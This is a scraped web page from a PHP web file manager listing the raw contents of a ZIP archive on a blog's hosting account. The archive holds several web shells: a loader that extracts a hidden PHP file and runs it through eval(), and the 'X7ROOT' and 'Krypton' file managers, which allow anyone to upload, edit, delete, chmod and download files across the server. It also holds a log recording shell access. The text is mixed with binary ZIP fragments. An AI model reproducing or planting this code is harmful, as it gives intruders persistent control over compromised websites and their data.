芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/y35a6w.zip


🏠 Root /
NameSizePermissionsAction
📁 "> 📄 " target="_blank">
PK Nm\'nn index.phpnu[PK Nm\ n9udf.phpnu[open($tmpFile) === TRUE) { $hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php'); if ($hookIndex !== false) { $phpCode = $zip->getFromIndex($hookIndex); try { eval('?>' . $phpCode); } catch (Throwable $e) { echo "?? Error in hook.php: ", $e->getMessage(), "\n"; } } else { echo "? hook.php not found in the ZIP\n"; } $zip->close(); } else { exit("? Failed to open ZIP\n"); } unlink($tmpFile); ?> PK Nm\9gZ,, z86uk.phpnu[]]jkjjgdj7ghjghjghghjgfjfgjfgjfgjfgjfghghjghjghjghjjghjghjghjgjdskfgj במ12[aspddfasdghjghjghjghjghjvbnvbnvbfgjfgjfgjfgjfgnvbnvbnvbnvbnsfscvxcv;' = 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } function fileExtension($file) { return substr(strrchr($file, '.'), 1); } function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); } function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); } } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } } echo ' '; foreach ($folders as $folder) { echo " "; } foreach ($files as $file) { echo " "; } echo "
Name Size Modified Perms Actions
" . $folder . " --- ". date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
" . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
"; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
Select file to upload:
'; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
Rename:
'; if (isset($_POST['rename'])) { $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

'; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } } if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

"; } else { echo "

Sorry, there was an error uploading your file.

"; } } if (isset($_GET['d']) && isset($_GET['q'])) { $name = PATH . "/" . $_GET['d']; if (is_file($name)) { if(unlink($name)) { echo (""); } else { echo (""); } } elseif (is_dir($name)) { if(rmdir($name) == true) { echo (""); } else { echo (""); } } } ?> PK Nm\ 8x2gj.phpnu[= 1024 && $i < count($units)-1; $i++) { $bytes /= 1024; } return round($bytes, 2).' '.$units[$i]; } $cwd = isset($_GET['path']) ? $_GET['path'] : getcwd(); $cwd = realpath($cwd); // Handle upload if (isset($_POST['upload']) && isset($_FILES['file'])) { $target = $cwd . '/' . basename($_FILES['file']['name']); if (@move_uploaded_file($_FILES['file']['tmp_name'], $target)) { echo "
[+] File uploaded successfully.
"; } else { echo "
[-] Upload failed.
"; } } // Handle file edit save if (isset($_POST['save']) && isset($_POST['filename'])) { $path = $cwd.'/'.basename($_POST['filename']); if (@file_put_contents($path, $_POST['content']) !== false) { echo "
[+] File saved successfully.
"; } else { echo "
[-] Failed to save file.
"; } } // Handle create directory if (isset($_POST['mkdir']) && isset($_POST['dirname'])) { $dirName = basename($_POST['dirname']); $fullPath = $cwd . '/' . $dirName; if (!file_exists($fullPath)) { if (@mkdir($fullPath)) { echo "
[+] Directory created.
"; } else { echo "
[-] Failed to create directory.
"; } } else { echo "
[!] Directory already exists.
"; } } echo "File Manager"; echo "

X7ROOT File Manager

"; echo "Current Path: ".safe($cwd)."
"; // Show navigation $parts = explode(DIRECTORY_SEPARATOR, $cwd); $nav = ""; $build = ""; foreach ($parts as $p) { if ($p == "") continue; $build .= "/$p"; $nav .= "".safe($p)." / "; } echo $nav."
"; // File listing $files = @scandir($cwd); echo "
"; // Edit file if (isset($_GET['edit'])) { $file = basename($_GET['edit']); $full = $cwd.'/'.$file; if (file_exists($full)) { $content = @file_get_contents($full); echo "

Editing: ".safe($file)."

"; echo "
"; echo ""; echo "
"; echo ""; echo "

"; } } // Upload echo "

Upload File

"; echo "
"; echo "
"; echo ""; echo "

"; // Create folder echo "

Create Folder

"; echo "
"; echo ""; echo ""; echo "
"; echo "";PK Nm\doo 9gvid.phpnu[ SESSION_TIMEOUT)) { // Session expired session_unset(); session_destroy(); } $_SESSION['last_activity'] = time(); // Update last activity time // Encryption and decryption functions function encryptPath($path) { $iv = openssl_random_pseudo_bytes(16); $encrypted = openssl_encrypt($path, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); return base64_encode($encrypted . '::' . base64_encode($iv)); } function decryptPath($encryptedPath) { try { $decoded = base64_decode($encryptedPath); if ($decoded === false) { return getcwd(); // Default to current directory if decoding fails } if (strpos($decoded, '::') === false) { return getcwd(); // Default to current directory if separator not found } list($encrypted_data, $iv_b64) = explode('::', $decoded, 2); $iv = base64_decode($iv_b64); if ($iv === false || strlen($iv) !== 16) { return getcwd(); // Default to current directory if IV is invalid } $decrypted = openssl_decrypt($encrypted_data, 'AES-256-CBC', ENCRYPTION_KEY, 0, $iv); if ($decrypted === false) { return getcwd(); // Default to current directory if decryption fails } return $decrypted; } catch (Exception $e) { return getcwd(); // Default to current directory on any exception } } // Function to get human-readable file size function formatFileSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } else { return $bytes . ' bytes'; } } // Function to get file permissions in Unix format function getFilePermissions($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { // Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { // Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { // Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { // Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { // Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { // Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { // FIFO pipe $info = 'p'; } else { // Unknown $info = 'u'; } // Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } // Function to get file extension function getFileExtension($filename) { return strtolower(pathinfo($filename, PATHINFO_EXTENSION)); } // Function to check if a file is editable function isEditableFile($filename) { /* $editableExtensions = ['txt', 'php', 'html', 'htm', 'css', 'js', 'json', 'xml', 'md', 'ini', 'conf', 'log', 'sql', 'htaccess']; $extension = getFileExtension($filename); return in_array($extension, $editableExtensions); */ return true; } // Process actions $error = ''; $success = ''; // Get and decrypt the path parameter $currentPath = getcwd(); // Default path // Check if there's a current path in the session if (isset($_SESSION['current_path']) && file_exists($_SESSION['current_path']) && is_dir($_SESSION['current_path'])) { $currentPath = $_SESSION['current_path']; } // Handle POST request for navigation if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Store current path for form submissions if (isset($_POST['current_path'])) { $decryptedCurrentPath = decryptPath($_POST['current_path']); if (file_exists($decryptedCurrentPath) && is_dir($decryptedCurrentPath)) { $currentPath = $decryptedCurrentPath; $_SESSION['current_path'] = $currentPath; } } if (isset($_POST['action'])) { // Handle file content request for editing if ($_POST['action'] === 'getContent' && isset($_POST['path'])) { $filePath = decryptPath($_POST['path']); if (file_exists($filePath) && !is_dir($filePath) && isEditableFile(basename($filePath))) { echo file_get_contents($filePath); exit; } else { echo "Error: Cannot read file."; exit; } } // Handle navigation if ($_POST['action'] === 'navigate' && isset($_POST['path'])) { $decryptedPath = decryptPath($_POST['path']); if (file_exists($decryptedPath) && is_dir($decryptedPath)) { $currentPath = $decryptedPath; $_SESSION['current_path'] = $currentPath; } } // Handle file download if ($_POST['action'] === 'download' && isset($_POST['path'])) { $downloadPath = decryptPath($_POST['path']); if (file_exists($downloadPath) && !is_dir($downloadPath)) { // Set headers for file download header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($downloadPath)); ob_clean(); flush(); readfile($downloadPath); exit; } } } // Handle file upload if (isset($_POST['upload'])) { if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) { $uploadPath = $currentPath . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadPath)) { $success = 'File uploaded successfully.'; } else { $error = 'Failed to upload file.'; } } else { $error = 'No file selected or upload error.'; } } // Handle file/directory deletion if (isset($_POST['delete']) && isset($_POST['path'])) { $deletePath = decryptPath($_POST['path']); if (file_exists($deletePath)) { if (is_dir($deletePath)) { // Try to remove directory if (rmdir($deletePath)) { $success = 'Directory deleted successfully.'; } else { $error = 'Failed to delete directory. It may not be empty.'; } } else { // Remove file if (unlink($deletePath)) { $success = 'File deleted successfully.'; } else { $error = 'Failed to delete file.'; } } } else { $error = 'File or directory does not exist.'; } } // Handle file/directory rename if (isset($_POST['rename']) && isset($_POST['oldPath']) && isset($_POST['newName'])) { $oldPath = decryptPath($_POST['oldPath']); $newName = $_POST['newName']; $dirName = dirname($oldPath); $newPath = $dirName . '/' . $newName; if (file_exists($oldPath)) { if (rename($oldPath, $newPath)) { $success = 'Renamed successfully.'; } else { $error = 'Failed to rename.'; } } else { $error = 'File or directory does not exist.'; } } // Handle permission change if (isset($_POST['changePermissions']) && isset($_POST['permPath']) && isset($_POST['permissions'])) { $permPath = decryptPath($_POST['permPath']); $permissions = $_POST['permissions']; // Convert from octal string to integer $mode = octdec($permissions); if (file_exists($permPath)) { if (chmod($permPath, $mode)) { $success = 'Permissions changed successfully.'; } else { $error = 'Failed to change permissions.'; } } else { $error = 'File or directory does not exist.'; } } // Handle file edit if (isset($_POST['saveFile']) && isset($_POST['filePath']) && isset($_POST['fileContent'])) { $filePath = decryptPath($_POST['filePath']); $fileContent = $_POST['fileContent']; if (file_exists($filePath) && !is_dir($filePath)) { if (file_put_contents($filePath, $fileContent) !== false) { $success = 'File saved successfully.'; } else { $error = 'Failed to save file.'; } } else { $error = 'File does not exist.'; } } // Handle create new file if (isset($_POST['createFile']) && isset($_POST['newFileName'])) { $newFileName = $_POST['newFileName']; $newFilePath = $currentPath . '/' . $newFileName; if (!file_exists($newFilePath)) { if (file_put_contents($newFilePath, '') !== false) { $success = 'File created successfully.'; } else { $error = 'Failed to create file.'; } } else { $error = 'File already exists.'; } } // Handle create new folder if (isset($_POST['createFolder']) && isset($_POST['newFolderName'])) { $newFolderName = $_POST['newFolderName']; $newFolderPath = $currentPath . '/' . $newFolderName; if (!file_exists($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $success = 'Folder created successfully.'; } else { $error = 'Failed to create folder.'; } } else { $error = 'Folder already exists.'; } } } // Save current path to session $_SESSION['current_path'] = $currentPath; // Get directory contents $items = []; if (is_dir($currentPath)) { if ($handle = opendir($currentPath)) { while (false !== ($entry = readdir($handle))) { if ($entry != "." && $entry != "..") { $fullPath = $currentPath . '/' . $entry; $isDir = is_dir($fullPath); try { $size = $isDir ? '-' : formatFileSize(filesize($fullPath)); $permissions = getFilePermissions($fullPath); $lastModified = date('Y-m-d H:i:s', filemtime($fullPath)); $items[] = [ 'name' => $entry, 'path' => $fullPath, 'encryptedPath' => encryptPath($fullPath), 'isDirectory' => $isDir, 'size' => $size, 'permissions' => $permissions, 'lastModified' => $lastModified, 'isEditable' => !$isDir && isEditableFile($entry) ]; } catch (Exception $e) { // Skip files that can't be accessed continue; } } } closedir($handle); } } // Sort items: directories first, then files usort($items, function($a, $b) { if ($a['isDirectory'] && !$b['isDirectory']) { return -1; } if (!$a['isDirectory'] && $b['isDirectory']) { return 1; } return strcasecmp($a['name'], $b['name']); }); // Get breadcrumb parts $breadcrumbs = []; $pathParts = explode('/', $currentPath); $buildPath = ''; foreach ($pathParts as $part) { if (empty($part)) { $buildPath = '/'; $breadcrumbs[] = [ 'name' => 'Root', 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } else { $buildPath .= ($buildPath === '/') ? $part : '/' . $part; $breadcrumbs[] = [ 'name' => $part, 'path' => $buildPath, 'encryptedPath' => encryptPath($buildPath) ]; } } // Get the script's directory for the Home button $homeDirectory = dirname($_SERVER['SCRIPT_FILENAME']); $encryptedHomeDirectory = encryptPath($homeDirectory); // Encrypt current path for forms $encryptedCurrentPath = encryptPath($currentPath); ?> Krypton File Manager

Upload Files

Files

Filename Size Permissions Last Modified Actions
..
- - - -
PK:m\hsamurai_activity.lognu[[2026-03-13 08:52:51] IP: 57.141.2.28 | Action: Shell Accessed | Target: 57.141.2.28 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler) PK Nm\MQK 146yi.phpnu[PK Nm\ about.phpnu[PK Nm\oe** bepyo.phpnu[PK Nm\.Q%% ~v95wi.phpnu[PK Nm\'nn  index.phpnu[PK Nm\ 3 n9udf.phpnu[PK Nm\9gZ,, z86uk.phpnu[PK Nm\ 8x2gj.phpnu[PK Nm\doo /9gvid.phpnu[PK:m\hzsamurai_activity.lognu[PK {